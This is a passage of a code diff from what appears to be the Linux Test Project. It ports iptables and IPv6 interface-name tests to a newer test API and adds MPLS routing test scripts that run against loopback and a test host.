 	iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables command failed to append new rule."
+		tst_res TFAIL "iptables command failed to append new rule."
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "Pinging 127.0.0.1"
+	tst_res TINFO "Pinging 127.0.0.1"
 	ping -c 2 127.0.0.1 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
 		grep "100% packet loss" tst_iptables.out > tst_iptables.err 2>&1
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL \
+			tst_res TFAIL \
 				 "iptables did not block packets from loopback"
 			cat tst_iptables.err
 			return
 		else
-			tst_resm TINFO "Ping 127.0.0.1 not successful."
+			tst_res TINFO "Ping 127.0.0.1 not successful."
 		fi
 	else
-		tst_resm TFAIL "iptables did not block icmp from 127.0.0.1"
+		tst_res TFAIL "iptables did not block icmp from 127.0.0.1"
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "Deleting icmp DROP from 127.0.0.1 rule."
+	tst_res TINFO "Deleting icmp DROP from 127.0.0.1 rule."
 	iptables -D INPUT 1 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables did not remove the rule."
+		tst_res TFAIL "iptables did not remove the rule."
 		cat tst_iptables.out
 		return
 	fi
-	tst_resm TINFO "Pinging 127.0.0.1 again"
+	tst_res TINFO "Pinging 127.0.0.1 again"
 	ping -c 2 127.0.0.1 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables blocking loopback. This is expected" \
+		tst_res TFAIL "iptables blocking loopback. This is expected" \
 			       "behaviour on certain distributions where" \
 			       "enabling firewall drops all packets by default."
 		cat tst_iptables.out
 		return
 	fi
-	tst_resm TINFO "Ping succsess"
-	tst_resm TPASS "iptables can DROP packets from particular IP."
+	tst_res TINFO "Ping succsess"
+	tst_res TPASS "iptables can DROP packets from particular IP."
 }
 
-test03()
+test3()
 {
-	tst_resm TINFO "Use iptables to REJECT ping request."
-	tst_resm TINFO "Rule to reject ping request."
+	tst_res TINFO "Use iptables to REJECT ping request."
+	tst_res TINFO "Rule to reject ping request."
 
 	iptables -A INPUT -p icmp --icmp-type echo-request -d 127.0.0.1 -j \
 		 REJECT > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables command failed to append new rule."
+		tst_res TFAIL "iptables command failed to append new rule."
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "Pinging 127.0.0.1"
+	tst_res TINFO "Pinging 127.0.0.1"
 	ping -c 2 127.0.0.1 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
 		grep "100% packet loss" tst_iptables.out > tst_iptables.err 2>&1
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL "iptables did not block ping request."
+			tst_res TFAIL "iptables did not block ping request."
 			cat tst_iptables.err
 			return
 		else
-			tst_resm TINFO "Ping 127.0.0.1 not successful."
+			tst_res TINFO "Ping 127.0.0.1 not successful."
 		fi
 	else
-		tst_resm TFAIL "iptables did not reject ping request."
+		tst_res TFAIL "iptables did not reject ping request."
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "Deleting icmp request REJECT rule."
+	tst_res TINFO "Deleting icmp request REJECT rule."
 	iptables -D INPUT 1 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables did not remove the rule."
+		tst_res TFAIL "iptables did not remove the rule."
 		cat tst_iptables.out
 		return
 	fi
-	tst_resm TINFO "Pinging 127.0.0.1 again"
+	tst_res TINFO "Pinging 127.0.0.1 again"
 	ping -c 2 127.0.0.1 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables blocking ping requests. This is" \
-			       "expected behaviour on certain distributions" \
-			       "where enabling firewall drops all packets by" \
-			       "default."
+		tst_res TFAIL "iptables blocking ping requests. This is" \
+			      "expected behaviour on certain distributions" \
+			      "where enabling firewall drops all packets by" \
+			      "default."
 		cat tst_iptables.out
 		return
 	fi
-	tst_resm TINFO "Ping succsess"
-	tst_resm TPASS "iptables can REJECT ping requests."
+	tst_res TINFO "Ping succsess"
+	tst_res TPASS "iptables can REJECT ping requests."
 }
 
-test04()
+test4()
 {
 	local dport=45886
-	local logprefix="$TCID-$(date +%m%d%H%M%S):"
+	local logprefix="${TCID}$(date +%m%d%H%M%S):"
 
-	tst_resm TINFO "Use iptables to log packets to particular port."
-	tst_resm TINFO "Rule to log tcp packets to particular port."
+	tst_res TINFO "Use iptables to log packets to particular port."
+	tst_res TINFO "Rule to log tcp packets to particular port."
 
 	iptables -A INPUT -p tcp -d 127.0.0.1 --dport $dport -j LOG \
 		 --log-prefix "$logprefix" > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables command failed to append new rule."
+		tst_res TFAIL "iptables command failed to append new rule."
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "telnet 127.0.0.1 $dport"
+	tst_res TINFO "telnet 127.0.0.1 $dport"
 	telnet 127.0.0.1 $dport > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
 		sleep 2
 		dmesg | grep "$logprefix" > tst_iptables.err 2>&1
 		if [ $? -ne 0 ]; then
-			tst_resm TFAIL \
+			tst_res TFAIL \
 				 "iptables did not log packets to port $dport"
 			cat tst_iptables.err
 			return
 		else
-			tst_resm TINFO "Packets to port $dport logged."
+			tst_res TINFO "Packets to port $dport logged."
 		fi
 	else
-		tst_resm TFAIL "telnet to 127.0.0.1 $dport should fail."
+		tst_res TFAIL "telnet to 127.0.0.1 $dport should fail."
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "Deleting the rule to log."
+	tst_res TINFO "Deleting the rule to log."
 	iptables -D INPUT 1 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables did not remove the rule."
+		tst_res TFAIL "iptables did not remove the rule."
 		cat tst_iptables.out
 		return
 	fi
-	tst_resm TINFO "iptables logging succsess"
-	tst_resm TPASS "iptables can log packets to particular port."
+	tst_res TINFO "iptables logging succsess"
+	tst_res TPASS "iptables can log packets to particular port."
 }
 
-test05()
+test5()
 {
 	local dport=0
-	local logprefix="$TCID-$(date +%m%d%H%M%S):"
+	local logprefix="${TCID}$(date +%m%d%H%M%S):"
 
-	tst_resm TINFO "Use iptables to log packets to multiple ports."
-	tst_resm TINFO "Rule to log tcp packets to port 45801 - 45803."
+	tst_res TINFO "Use iptables to log packets to multiple ports."
+	tst_res TINFO "Rule to log tcp packets to port 45801 - 45803."
 	iptables -A INPUT -p tcp -d 127.0.0.1 --dport 45801:45803 -j LOG \
 		 --log-prefix "$logprefix" > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables command failed to append new rule."
+		tst_res TFAIL "iptables command failed to append new rule."
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "Rule to log tcp packets to port 45804 - 45806."
+	tst_res TINFO "Rule to log tcp packets to port 45804 - 45806."
 	iptables -A INPUT -p tcp -d 127.0.0.1 -m multiport --dports \
 		 45804,45806,45805 -j LOG --log-prefix "$logprefix" \
 		 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables command failed to append new rule."
+		tst_res TFAIL "iptables command failed to append new rule."
 		cat tst_iptables.out
 		return
 	fi
 
 	for dport in 45801 45802 45803 45804 45805 45806; do
-		tst_resm TINFO "telnet 127.0.0.1 $dport"
+		tst_res TINFO "telnet 127.0.0.1 $dport"
 		telnet 127.0.0.1 $dport > tst_iptables.out 2>&1
 		if [ $? -ne 0 ]; then
 			sleep 2
 			dmesg | grep "$logprefix" | grep "=$dport " \
 				> tst_iptables.err 2>&1
 			if [ $? -ne 0 ]; then
-				tst_resm TFAIL "iptables did not log packets" \
+				tst_res TFAIL "iptables did not log packets" \
 					       "to port $dport"
 				cat tst_iptables.err
 				return
 			else
-				tst_resm TINFO "Packets to port $dport logged."
+				tst_res TINFO "Packets to port $dport logged."
 			fi
 		else
 			tst_res TFAIL "telnet to 127.0.0.1 $dport should fail."
@@ -317,73 +304,63 @@
 		fi
 	done
 
-	tst_resm TINFO "Flushing all rules."
+	tst_res TINFO "Flushing all rules."
 	iptables -F > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables did not flush all rules."
+		tst_res TFAIL "iptables did not flush all rules."
 		cat tst_iptables.out
 		return
 	fi
-	tst_resm TINFO "iptables logging succsess"
-	tst_resm TPASS "iptables can log packets to multiple ports."
+	tst_res TINFO "iptables logging succsess"
+	tst_res TPASS "iptables can log packets to multiple ports."
 }
 
-test06()
+test6()
 {
 	local logcnt=0
-	local logprefix="$TCID-$(date +%m%d%H%M%S):"
+	local logprefix="${TCID}$(date +%m%d%H%M%S):"
 
-	tst_resm TINFO "Use iptables to log ping request with limited rate."
-	tst_resm TINFO "Rule to log ping request."
+	tst_res TINFO "Use iptables to log ping request with limited rate."
+	tst_res TINFO "Rule to log ping request."
 
 	iptables -A INPUT -p icmp --icmp-type echo-request -d 127.0.0.1 -m \
 		 limit -j LOG --log-prefix "$logprefix" > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables command failed to append new rule."
+		tst_res TFAIL "iptables command failed to append new rule."
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "ping 127.0.0.1"
+	tst_res TINFO "ping 127.0.0.1"
 	ping -c 10 127.0.0.1 > tst_iptables.out 2>&1
 	if [ $? -eq 0 ]; then
 		sleep 2
 		logcnt=$(dmesg | grep -c "$logprefix")
 		if [ $logcnt -ne 5 ]; then
-			tst_resm TFAIL "iptables did not log packets with" \
-				       "limited rate."
+			tst_res TFAIL "iptables did not log packets with" \
+				      "limited rate."
 			cat tst_iptables.out
 			return
 		else
-			tst_resm TINFO "ping requests logged with limited rate."
+			tst_res TINFO "ping requests logged with limited rate."
 		fi
 	else
-		tst_resm TFAIL "ping to 127.0.0.1 failed. This is expected" \
-			       "behaviour on certain distributions where" \
-			       "enabling firewall drops all packets by default."
+		tst_res TFAIL "ping to 127.0.0.1 failed. This is expected" \
+			      "behaviour on certain distributions where" \
+			      "enabling firewall drops all packets by default."
 		cat tst_iptables.out
 		return
 	fi
 
-	tst_resm TINFO "Deleting the rule to log."
+	tst_res TINFO "Deleting the rule to log."
 	iptables -D INPUT 1 > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "iptables did not remove the rule."
+		tst_res TFAIL "iptables did not remove the rule."
 		cat tst_iptables.out
 		return
 	fi
-	tst_resm TINFO "iptables limited logging succsess"
-	tst_resm TPASS "iptables can log packets with limited rate."
+	tst_res TINFO "iptables limited logging succsess"
+	tst_res TPASS "iptables can log packets with limited rate."
 }
 
-init
-TST_CLEANUP=cleanup
-
-test01
-test02
-test03
-test04
-test05
-test06
-
-tst_exit
+tst_run
diff --git a/testcases/network/lib6/in6_01.c b/testcases/network/lib6/in6_01.c
index dc14617..cb18011 100644
--- a/testcases/network/lib6/in6_01.c
+++ b/testcases/network/lib6/in6_01.c
@@ -147,12 +147,12 @@
 				"\"%s\" is not a valid IPv6 address",
 				maptab[i].addr);
 		TEST(IN6_IS_ADDR_V4MAPPED(in6.s6_addr));
-		if (maptab[i].ismap == TEST_RETURN)
+		if (maptab[i].ismap == TST_RET)
 			tst_res(TINFO, "IN6_IS_ADDR_V4MAPPED(\"%s\") %ld",
-				maptab[i].addr, TEST_RETURN);
+				maptab[i].addr, TST_RET);
 		else {
 			tst_res(TFAIL, "IN6_IS_ADDR_V4MAPPED(\"%s\") %ld",
-				maptab[i].addr, TEST_RETURN);
+				maptab[i].addr, TST_RET);
 			return;
 		}
 	}
diff --git a/testcases/network/lib6/in6_02.c b/testcases/network/lib6/in6_02.c
index 7cb3626..6cc0242 100644
--- a/testcases/network/lib6/in6_02.c
+++ b/testcases/network/lib6/in6_02.c
@@ -1,159 +1,145 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
- *   Author: David L Stevens
+ * Author: David L Stevens
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software Foundation,
- *   Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*
- *   Description:
- *     Tests for name to index and index to name functions in IPv6
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Description:
+ * IPv6 name to index and index to name function tests
  */
 
+
+#include <stdlib.h>
+#include <stdio.h>
 #include <unistd.h>
 #include <errno.h>
 #include <sys/socket.h>
 #include <net/if.h>
 
-#include "test.h"
+#include "tst_test.h"
+
+#define I2N_RNDCOUNT	10	/* random ints */
+#define I2N_LOWCOUNT	10	/* sequential from 0 */
 
 static struct {
 	char *name;
 	int nonzero;
-} n2i[] = {
+} test_case[] = {
 	{ "lo", 1 },
-	{ "eth0", 1 },
+	{ NULL, 1 },
 	{ "hoser75", 0 },
 	{ "6", 0 },
 };
 
-#define N2I_COUNT (sizeof(n2i)/sizeof(n2i[0]))
-#define I2N_RNDCOUNT	10	/* random ints */
-#define I2N_LOWCOUNT	10	/* sequential from 0 */
-
 static void setup(void);
-static void n2itest(void);
-static void i2ntest(void);
-static void initest(void);
+static void if_nametoindex_test(void);
+static void if_indextoname_test(void);
+static void if_nameindex_test(void);
 
-static void (*testfunc[])(void) = { n2itest,
-	i2ntest, initest };
+static void (*testfunc[])(void) = { if_nametoindex_test, if_indextoname_test,
+	if_nameindex_test };
 
-char *TCID = "in6_02";
-int TST_TOTAL = ARRAY_SIZE(testfunc);
-
-int main(int argc, char *argv[])
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			(*testfunc[i])();
-	}
-
-	tst_exit();
-}
-
-/* if_nametoindex tests */
-void n2itest(void)
+static void if_nametoindex_test(void)
 {
 	unsigned int i;
 	char ifname[IF_NAMESIZE], *pifn;
 
-	for (i = 0; i < N2I_COUNT; ++i) {
-		TEST(if_nametoindex(n2i[i].name));
-		if (!TEST_RETURN != !n2i[i].nonzero) {
-			tst_resm(TFAIL, "if_nametoindex(\"%s\") %ld "
-				"[should be %szero]", n2i[i].name, TEST_RETURN,
-				n2i[i].nonzero ? "non" : "");
+	tst_res(TINFO, "IPv6 if_nametoindex() test");
+
+	for (i = 0; i < ARRAY_SIZE(test_case); ++i) {
+		if (test_case[i].name == NULL) {
+			tst_res(TCONF, "LHOST_IFACES not defined or invalid");
+			continue;
+		}
+
+		TEST(if_nametoindex(test_case[i].name));
+		if (!TST_RET != !test_case[i].nonzero) {
+			tst_res(TFAIL, "if_nametoindex(%s) %ld [should be %szero]",
+					test_case[i].name, TST_RET,
+					test_case[i].nonzero ? "non" : "");
 			return;
 		}
-		if (TEST_RETURN) {
-			pifn = if_indextoname(TEST_RETURN, ifname);
-			if (!pifn || strcmp(n2i[i].name, pifn)) {
-				tst_resm(TFAIL, "if_nametoindex(\"%s\") %ld "
-					"doesn't match if_indextoname(%ld) "
-					"\"%s\"", n2i[i].name, TEST_RETURN,
-					TEST_RETURN, pifn ? pifn : "");
+		if (TST_RET) {
+			pifn = if_indextoname(TST_RET, ifname);
+			if (!pifn || strcmp(test_case[i].name, pifn)) {
+				tst_res(TFAIL,
+					"if_nametoindex(%s) %ld doesn't match if_indextoname(%ld) '%s'",
+					test_case[i].name, TST_RET,
+					TST_RET, pifn ? pifn : "");
 				return;
 			}
 		}
-		tst_resm(TINFO, "if_nametoindex(\"%s\") %ld",
-			n2i[i].name, TEST_RETURN);
+		tst_res(TINFO, "if_nametoindex(%s) %ld",
+			test_case[i].name, TST_RET);
 	}
 
-	tst_resm(TPASS, "if_nametoindex() tests succeed");
+	tst_res(TPASS, "if_nametoindex() test succeeded");
 }
 
-int sub_i2ntest(unsigned int if_index)
+static int sub_if_indextoname_test(unsigned int if_index)
 {
 	char ifname[IF_NAMESIZE];
 	unsigned int idx;
 
 	TEST((ifname == if_indextoname(if_index, ifname)));
-	if (!TEST_RETURN) {
-		if (TEST_ERRNO != ENXIO) {
-			tst_resm(TFAIL, "if_indextoname(%d) returns %ld "
-				 "but errno %d != ENXIO", if_index, TEST_RETURN,
-				 TEST_ERRNO);
+	if (!TST_RET) {
+		if (TST_ERR != ENXIO) {
+			tst_res(TFAIL,
+				"if_indextoname(%d) returns %ld but errno %d != ENXIO",
+				if_index, TST_RET, TST_ERR);
 			return 0;
 		}
-		tst_resm(TINFO, "if_indextoname(%d) returns NULL", if_index);
+		tst_res(TINFO, "if_indextoname(%d) returns NULL", if_index);
 		return 1;
 	}
 	/* else, a valid interface-- double check name */
 	idx = if_nametoindex(ifname);
 	if (idx != if_index) {
-		tst_resm(TFAIL, "if_indextoname(%u) returns \"%s\" but "
-			 "doesn't if_nametoindex(\"%s\") returns %u",
-			 if_index, ifname, ifname, idx);
+		tst_res(TFAIL,
+			"if_indextoname(%u) returns '%s' but doesn't if_nametoindex(%s) returns %u",
+			if_index, ifname, ifname, idx);
 		return 0;
 	}
-	tst_resm(TINFO, "if_indextoname(%d) returns \"%s\"", if_index, ifname);
+	tst_res(TINFO, "if_indextoname(%d) returns '%s'", if_index, ifname);
 	return 1;
 }
 
-/* if_indextoname tests */
-void i2ntest(void)
+static void if_indextoname_test(void)
 {
 	unsigned int i;
 
+	tst_res(TINFO, "IPv6 if_indextoname() test");
+
 	/* some low-numbered indexes-- likely to get valid interfaces here */
 	for (i = 0; i < I2N_LOWCOUNT; ++i)
-		if (!sub_i2ntest(i))
+		if (!sub_if_indextoname_test(i))
 			return;	/* skip the rest, if broken */
 	/* some random ints; should mostly fail */
 	for (i = 0; i < I2N_RNDCOUNT; ++i)
-		if (!sub_i2ntest(rand()))
+		if (!sub_if_indextoname_test(rand()))
 			return;	/* skip the rest, if broken */
 
-	tst_resm(TPASS, "if_indextoname() tests succeed");
+	tst_res(TPASS, "if_indextoname() test succeeded");
 }
 
 /*
  * This is an ugly, linux-only solution. getrusage() doesn't support the
  * current data segment size, so we get it out of /proc
  */
-int getdatasize(void)
+static int getdatasize(void)
 {
 	char line[128], *p;
 	int dsize = -1;
@@ -176,8 +162,7 @@
 	return dsize;
 }
 
-/* if_nameindex tests */
-void initest(void)
+static void if_nameindex_test(void)
 {
 	struct if_nameindex *pini;
 	int i;
@@ -186,92 +171,101 @@
 	int freenicount;
 	int dsize_before, dsize_after;
 
+	tst_res(TINFO, "IPv6 if_nameindex() test");
+
 	pini = if_nameindex();
 	if (pini == NULL) {
-		tst_resm(TFAIL, "if_nameindex() returns NULL, errno %d (%s)",
-			 TEST_ERRNO, strerror(TEST_ERRNO));
+		tst_res(TFAIL, "if_nameindex() returns NULL, errno %d (%s)",
+			TST_ERR, strerror(TST_ERR));
 		return;
 	}
 	for (i = 0; pini[i].if_index; ++i) {
 		p = if_indextoname(pini[i].if_index, buf);
 		if (!p || strcmp(p, pini[i].if_name)) {
-			tst_resm(TFAIL, "if_nameindex idx %d name \"%s\" but "
-				 "if_indextoname(%d) is \"%s\"",
-				 pini[i].if_index, pini[i].if_name,
-				 pini[i].if_index, p ? p : "");
+			tst_res(TFAIL,
+				"if_nameindex() idx %d name '%s' but if_indextoname(%d) is '%s'",
+				pini[i].if_index, pini[i].if_name,
+				pini[i].if_index, p ? p : "");
 			return;
 		}
 		idx = if_nametoindex(pini[i].if_name);
 		if (idx != pini[i].if_index) {
-			tst_resm(TFAIL, "if_nameindex idx %d name \"%s\" but "
-				 "if_indextoname(\"%s\") is %d",
-				 pini[i].if_index, pini[i].if_name,
-				 pini[i].if_name, idx);
+			tst_res(TFAIL,
+				"if_nameindex() idx %d name '%s' but if_indextoname(%s) is %d",
+				pini[i].if_index, pini[i].if_name,
+				pini[i].if_name, idx);
 			return;
 		}
-		tst_resm(TINFO, "if_nameindex idx %d name \"%s\"",
-			 pini[i].if_index, pini[i].if_name);
+		tst_res(TINFO, "if_nameindex() idx %d name '%s'",
+				pini[i].if_index, pini[i].if_name);
 	}
 	if_freenameindex(pini);
 
-	/* if_freenameindex() has no error conditions; see if we run
+	/*
+	 * if_freenameindex() has no error conditions; see if we run
 	 * out of memory if we do it a lot.
 	 */
 	dsize_before = getdatasize();
 	if (dsize_before < 0) {
-		tst_brkm(TBROK, NULL, "getdatasize failed: errno %d (%s)",
+		tst_brk(TBROK, "getdatasize failed: errno %d (%s)",
 			errno, strerror(errno));
 	}
-	/* we need to leak at least a page to detect a leak; 1 byte per call
+
+	/*
+	 * we need to leak at least a page to detect a leak; 1 byte per call
 	 * will be detected with getpagesize() calls.
 	 */
 	freenicount = getpagesize();
 	for (i = 0; i < freenicount; ++i) {
 		pini = if_nameindex();
 		if (pini == NULL) {
-			tst_resm(TINFO, "if_freenameindex test failed "
-				 "if_nameindex() iteration %d", i);
+			tst_res(TINFO,
+				"if_freenameindex test failed if_nameindex() iteration %d", i);
 			break;
 		}
 		if_freenameindex(pini);
 	}
 	dsize_after = getdatasize();
 	if (dsize_after < 0) {
-		tst_brkm(TBROK, NULL, "getdatasize failed: errno %d (%s)",
+		tst_brk(TBROK, "getdatasize failed: errno %d (%s)",
 			errno, strerror(errno));
 	}
 	if (dsize_after > dsize_before + getpagesize()) {
-		tst_resm(TFAIL, "if_freenameindex leaking memory "
-			 "(%d iterations) dsize before %d dsize after %d", i,
-			 dsize_before, dsize_after);
+		tst_res(TFAIL,
+			"if_freenameindex leaking memory (%d iterations) dsize before %d dsize after %d",
+			i, dsize_before, dsize_after);
 		return;
-	} else {
-		tst_resm(TINFO, "if_freenameindex passed %d iterations", i);
 	}
+	tst_res(TINFO, "if_freenameindex passed %d iterations", i);
 
-	tst_resm(TPASS, "if_nameindex() tests succeed");
+	tst_res(TPASS, "if_nameindex() test succeeded");
 }
 
-void setup(void)
+static void setup(void)
 {
-	TEST_PAUSE;
-
-	tst_resm(TINFO, "get interface name from LHOST_IFACES var");
-
 	char *ifnames = getenv("LHOST_IFACES");
 
-	if (!ifnames) {
-		tst_resm(TWARN, "LHOST_IFACES not defined, default to eth0");
+	if (!ifnames)
 		return;
-	}
 
 	static char name[256];
+	int ret;
 
-	sscanf(ifnames, "%255s", name);
-
-	if (!strcmp(name, n2i[1].name))
+	ret = sscanf(ifnames, "%255s", name);
+	if (ret == -1)
 		return;
 
-	tst_resm(TINFO, "change default 'eth0' name to '%s'", name);
-	n2i[1].name = name;
+	tst_res(TINFO, "get interface name from LHOST_IFACES: '%s'", name);
+	test_case[1].name = name;
 }
+
+static void do_test(unsigned int i)
+{
+	testfunc[i]();
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(testfunc),
+	.setup = setup,
+	.test = do_test,
+};
diff --git a/testcases/network/mpls/Makefile b/testcases/network/mpls/Makefile
new file mode 100644
index 0000000..3a54269
--- /dev/null
+++ b/testcases/network/mpls/Makefile
@@ -0,0 +1,10 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+top_srcdir		?= ../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+INSTALL_TARGETS		:= *.sh
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/mpls/mpls01.sh b/testcases/network/mpls/mpls01.sh
new file mode 100755
index 0000000..c7788b5
--- /dev/null
+++ b/testcases/network/mpls/mpls01.sh
@@ -0,0 +1,70 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+TST_SETUP="setup"
+TST_TESTFUNC="test"
+TST_CLEANUP="cleanup"
+TST_CNT=3
+TST_MIN_KVER="4.1"
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_DRIVERS="mpls_router"
+TST_NEEDS_CMDS="sysctl modprobe"
+
+. tst_net.sh
+
+cleanup()
+{
+	ip -f mpls route flush dev lo > /dev/null 2>&1
+	ip -f mpls route flush dev $(tst_iface) > /dev/null 2>&1
+}
+
+setup()
+{
+	ROD modprobe mpls_router
+}
+
+test1()
+{
+	ROD sysctl -q net.mpls.platform_labels=0xfffff
+	ROD ip -f mpls route add 0xffffe dev lo
+	ROD ip -f mpls route show \> /dev/null
+	ROD ip -f mpls route del 0xffffe dev lo
+	tst_res TPASS "added label 0xffffe to lo dev"
+}
+
+test2()
+{
+	ROD sysctl -q net.mpls.platform_labels=0xffffe
+	ip -f mpls route add 0xffffe dev lo > /dev/null 2>&1
+	if [ $? -eq 0 ]; then
+		tst_res TFAIL "can add label that is >= platform_labels"
+		return
+	fi
+
+	tst_res TPASS "can't add label >= platform_lables"
+}
+
+test3()
+{
+	local start=16
+	local end=$((start + NS_TIMES))
+
+	ROD sysctl -q net.mpls.platform_labels=$((end + 1))
+	tst_res TINFO "creating mpls routes with labels from $start..$end"
+	for l in $(seq $start $end); do
+		ROD ip -f mpls route add $l dev $(tst_iface)
+	done
+
+	tst_res TINFO "listing created routes"
+	ROD ip -f mpls route show \> /dev/null
+
+	tst_res TINFO "removing the routes"
+	for l in $(seq $start $end); do
+		ROD ip -f mpls route del $l dev $(tst_iface)
+	done
+	tst_res TPASS "created and removed mpls routes"
+}
+
+tst_run
diff --git a/testcases/network/mpls/mpls02.sh b/testcases/network/mpls/mpls02.sh
new file mode 100755
index 0000000..745a414
--- /dev/null
+++ b/testcases/network/mpls/mpls02.sh
@@ -0,0 +1,53 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+TST_SETUP="setup"
+TST_TESTFUNC="do_test"
+TST_CLEANUP="cleanup"
+
+. mpls_lib.sh
+
+cleanup()
+{
+	ip route del $ip_rmt/$mask > /dev/null 2>&1
+	tst_rhost_run -c "ip route del $ip_loc/$mask" > /dev/null
+
+	[ -n "$ip_loc" ] && ip addr del $ip_loc/$mask dev lo > /dev/null 2>&1
+	[ -n "$ip_rmt" ] && tst_rhost_run -c "ip addr del $ip_rmt/$mask dev lo" > \
+					      /dev/null 2>&1
+
+	mpls_cleanup
+}
+
+setup()
+{
+	mpls_setup 61
+
+	ip_loc=$(tst_ipaddr_un)
+	ip_rmt=$(tst_ipaddr_un rhost)
+	[ -n "$TST_IPV6" ] && mask=128 || mask=32
+
+	ROD ip addr add $ip_loc/$mask dev lo
+	ROD ip route add $ip_rmt/$mask encap mpls 50 via inet$TST_IPV6 $(tst_ipaddr rhost)
+	ROD ip -f mpls route add 60 dev lo
+
+	tst_rhost_run -s -c "ip addr add $ip_rmt/$mask dev lo"
+	tst_rhost_run -s -c "ip route add $ip_loc/$mask encap mpls 60 via inet$TST_IPV6 $(tst_ipaddr)"
+	tst_rhost_run -s -c "ip -f mpls route add 50 dev lo"
+}
+
+do_test()
+{
+	local type=$2
+	local max_size=10000
+
+	if [ "$type" = "icmp" ]; then
+		tst_ping $ip_loc $ip_rmt 10 100 1000 2000 $max_size
+	else
+		tst_netload -S $ip_loc -H $ip_rmt -T $type -n 10 -N 10
+		tst_netload -S $ip_loc -H $ip_rmt -T $type -A $max_size
+	fi
+}
+
+tst_run
diff --git a/testcases/network/mpls/mpls03.sh b/testcases/network/mpls/mpls03.sh
new file mode 100755
index 0000000..0db6dbf
--- /dev/null
+++ b/testcases/network/mpls/mpls03.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+TST_SETUP="setup"
+TST_TESTFUNC="mpls_virt_test"
+TST_CLEANUP="mpls_virt_cleanup"
+
+. virt_lib.sh
+. mpls_lib.sh
+
+setup()
+{
+	virt_type="gre"
+	if [ -n "$TST_IPV6" ]; then
+		tst_kvcmp -lt "4.19" && \
+			tst_brk TCONF "mpls + ip6gre requires kernel 4.19+"
+		virt_type="ip6gre"
+	fi
+
+	mpls_virt_setup
+}
+
+tst_run
diff --git a/testcases/network/mpls/mpls04.sh b/testcases/network/mpls/mpls04.sh
new file mode 100755
index 0000000..639a13e
--- /dev/null
+++ b/testcases/network/mpls/mpls04.sh
@@ -0,0 +1,19 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+
+TST_SETUP="setup"
+TST_TESTFUNC="mpls_virt_test"
